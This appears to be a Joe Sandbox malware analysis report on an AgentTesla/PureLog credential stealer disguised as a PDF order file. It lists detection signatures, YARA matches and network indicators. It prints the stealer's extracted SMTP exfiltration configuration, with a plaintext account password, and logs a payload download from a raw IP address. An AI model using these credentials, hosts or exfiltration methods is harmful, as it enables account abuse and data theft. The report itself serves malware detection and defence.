Edit tour

Windows Analysis Report
Zam#U00f3wienie Z2300056_pdf .scr.exe

Overview

General Information

Sample name:	Zam#U00f3wienie Z2300056_pdf .scr.exe renamed because original name is a hash value
Original sample name:	Zamwienie Z2300056_pdf .scr.exe
Analysis ID:	1448646
MD5:	f70ebcff67f43e47dd4da5222beeec28
SHA1:	18d0b490b8a97ce1573ccadbde1c2af57521f1a6
SHA256:	b167b573cea7ba908de7ecc1b8fce9d269c46ddf45a9e487b73121d52e1435f8
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Zam#U00f3wienie Z2300056_pdf .scr.exe (PID: 4888 cmdline: "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe" MD5: F70EBCFF67F43E47DD4DA5222BEEEC28)

Zam#U00f3wienie Z2300056_pdf .scr.exe (PID: 7552 cmdline: "C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe" MD5: F70EBCFF67F43E47DD4DA5222BEEEC28)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.creolupatoto.it", "Username": "alessandra.agri@creolupatoto.it", "Password": "lupat22newveneto!"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1616564249.0000000006FE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2487713854.0000000003231000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1611989063.0000000006A80000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1603204993.000000000436B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.1603204993.000000000468E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 4888	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 7552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Zam#U00f3wienie Z2300056_pdf .scr.exe PID: 7552	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 19 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.45f4290.5.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.45f4290.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33523:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33595:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3361f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3371b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3378d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33823:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338b3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.461c2b0.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6fe0000.18.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.344fde8.2.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.344fde8.2.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4dadbd0.6.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31723:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31795:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3181f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x318b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3191b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3198d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31a23:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31ab3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33523:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dd43:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33595:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6ddb5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3361f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6de3f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x336b1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ded1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3371b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6df3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3378d:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6dfad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33823:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e043:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x338b3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e0d3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.6a80000.17.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.4ae3790.15.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.48b9370.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.468ef40.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 23 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.169.24.118, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Zam#U00f3wienie Z2300056_pdf .scr.exe, Initiated: true, ProcessId: 7552, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49708

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Avira: detected

Found malware configuration

Source: 0.2.Zam#U00f3wienie Z2300056_pdf .scr.exe.503db88.11.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "smtp.creolupatoto.it", "Username": "alessandra.agri@creolupatoto.it", "Password": "lupat22newveneto!"}

Multi AV Scanner detection for submitted file

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	ReversingLabs: Detection: 29%
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	Virustotal: Detection: 45%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Joe Sandbox ML: detected

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.7:49707 version: TLS 1.2

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1610416024.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004FB2000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003519000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1610416024.0000000005F40000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004FB2000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004EFB000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp

Source: global traffic

TCP traffic: 192.168.2.7:49708 -> 185.169.24.118:587

Source: global traffic

HTTP traffic detected: GET /ELCHAPO/Synfckpr.dat HTTP/1.1Host: 103.186.66.98Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.7:49708 -> 185.169.24.118:587

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.66.98

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ELCHAPO/Synfckpr.dat HTTP/1.1Host: 103.186.66.98Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: smtp.creolupatoto.it

Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003131000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://103.186.66.98
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe	String found in binary or memory: http://103.186.66.98/ELCHAPO/Synfckpr.dat
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2495501734.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0-
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2495501734.0000000006B7E000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sasl116.shellrent.com
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.0000000003131000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.000000000325C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://smtp.creolupatoto.it
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2485376475.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.0000000003264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000005028000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000328E000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2484111274.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 0000000C.00000002.2487713854.00000000031E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1616908151.0000000007050000.00000004.08000000.00040000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1601771242.000000000339D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004E8D000.00000004.00000800.00020000.00000000.sdmp, Zam#U00f3wienie Z2300056_pdf .scr.exe, 00000000.00000002.1603204993.0000000004DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
